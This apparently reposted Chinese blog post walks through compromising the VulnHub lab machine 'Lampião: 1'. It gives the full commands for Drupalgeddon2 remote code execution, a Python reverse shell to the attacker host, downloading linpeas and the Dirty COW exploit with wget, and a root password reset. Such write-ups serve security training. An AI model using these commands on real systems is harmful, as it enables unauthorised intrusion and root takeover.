当前位置:网站首页>vulnhub Lampião: 1
vulnhub Lampião: 1
2022-07-26 06:39:00 【仙女象】
渗透思路:
nmap扫描发现端口,robots.txt以及Drupal大致版本 ---- 通过CHANGELOG进一步确认Drupal版本 ---- 利用Drupal 7的RCE(CVE-2018-7600)getshell(无需认证)---- 获取python反弹shell ---- 脏牛提权
环境信息:
靶机:192.168.101.89
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sV -sC -p- 192.168.101.89扫描到TCP 22(ssh)、80、1898(http)端口,其中还识别出1898端口使用了Drupal 7,还发现了该端口下有robots.txt

2、通过CHANGELOG进一步确认Drupal版本
浏览器访问http://192.168.101.89:1898/robots.txt,发现Disallow的一堆文件中有/CHANGELOG.txt

访问http://192.168.101.89:1898/CHANGELOG.txt,发现当前Drupal版本应该是7.54

3、利用Drupal 7的RCE(CVE-2018-7600)getshell(无需认证)
exploit-db中搜索drupal 7,排除掉需要认证的exp,最后根据exp利用的url可否访问锁定不需要认证的RCE:“Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution”

将exp(44449.rb)下载下来,注释掉“require 'highline/import'”(因为没用到,且如果不注释掉会报错),其他不修改

在命令行中执行
ruby 44449.rb http://192.168.101.89:1898/得到靶机www-data用户的shell

4、获取python反弹shell
很可惜上面的shell不能切换目录,所以考虑用反弹shell命令获取另一个反弹shell

又由于该shell中不能重定向(>),所以用不包含重定向符号的python语句获取反弹shell
首先攻击机上nc监听8888端口
nc -nlvp 8888然后在上一步得到的shell中执行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.34",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'即可获得靶机www-data用户的反弹shell

5、脏牛提权
攻击机上linpeas.sh所在文件夹起http服务
python2 -m SimpleHTTPServer 80靶机上执行如下命令,从攻击机下载linpeas.sh,添加可执行权限,并执行
wget http://192.168.101.34/linpeas.sh
chmod +x linpeas.sh
./linpeas.shlinpeas.sh识别出高危内核版本Linux version 4.4.0-31-generic

并给出几个很可能成功提权的exp,逐个尝试之后,发现dirtycow的exp(https://www.exploit-db.com/download/40847)好使

将exp 40847.cpp下载到攻击机上,然后在靶机上执行如下命令,从攻击机上下载40847.cpp,编译,赋予可执行权限并执行
wget http://192.168.101.34/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
chmod +x dcow
./dcow执行后提示:Root password is: dirtyCowFun
说明攻击成功,现在可以su到root,密码为dirtyCowFun
获得root的shell后,在/root目录下可以找到flag.txt

题外话:
1、40847.cpp会在/etc/passwd写入root的新密码,而原始的/etc/passwd被备份为/etc/passwd-


2、关于脏牛
边栏推荐
- [image hiding] digital image watermarking method technology based on hybrid dwt-hd-svd with matlab code
- Basis of multimodal semantic segmentation
- 性能测试包括哪些方面?分类及测试方法有哪些?
- 深度学习——CV、CNN、RNN
- 归并排序(merge_sort)
- 快速排序(quick-sort)
- Force deduction 5: Longest palindrome substring
- [C language] file operation
- [day_030420] find the longest consecutive number string in the string
- [day_020419] inverted string
猜你喜欢

Do it yourself smart home: intelligent air conditioning control

『HarmonyOS』DevEco的下载安装与开发环境搭建

性能测试包括哪些方面?分类及测试方法有哪些?
![[nanny level] package volume optimization tutorial](/img/45/4ca66b10bb96efeb47501c07972d66.png)
[nanny level] package volume optimization tutorial

Merge_sort

Address resolution ARP Protocol

【毕业季_进击的技术er】送别过去两年迷茫的自己。重整旗鼓,大三我来啦

Map集合继承结构

The real epidemic situation in the United States, do not easily "bottom" 2020-03-23
![[image denoising] image denoising based on bicube interpolation and sparse representation matlab source code](/img/39/716c62d6ca533a7e84704b2c55d072.png)
[image denoising] image denoising based on bicube interpolation and sparse representation matlab source code
随机推荐
Convert amount figures to uppercase
C language file operation
归并排序(merge_sort)
[day_050422] statistical palindrome
Why use the static keyword when defining methods
YOLOv7: Trainable bag-of-freebies sets new state-of-the-art for real-time object detectors
MySQL optimized index and index invalidation
『期末复习』16/32位微处理器(8086)基本寄存器
SQL optimization scheme
Find the original root
Servlet cannot directly obtain JSON format data in request request
Force deduction 5: Longest palindrome substring
Gdown Access denied:Cannot retrieve the public link of the file.
CS5801_HDMI转EDP优势替代LT6711A方案
Nuxt configuration topic switching
RNN recurrent neural network
打开服务器上的 IncludeExceptionDetailInFaults (从 ServiceBehaviorAttribute 或从 &lt;serviceDebug&gt; 配置行为)以便将异常信息发送回
Address resolution ARP Protocol
[nanny level] package volume optimization tutorial
The "darkest hour" has not come yet. Cherish every bullet 2020-03-22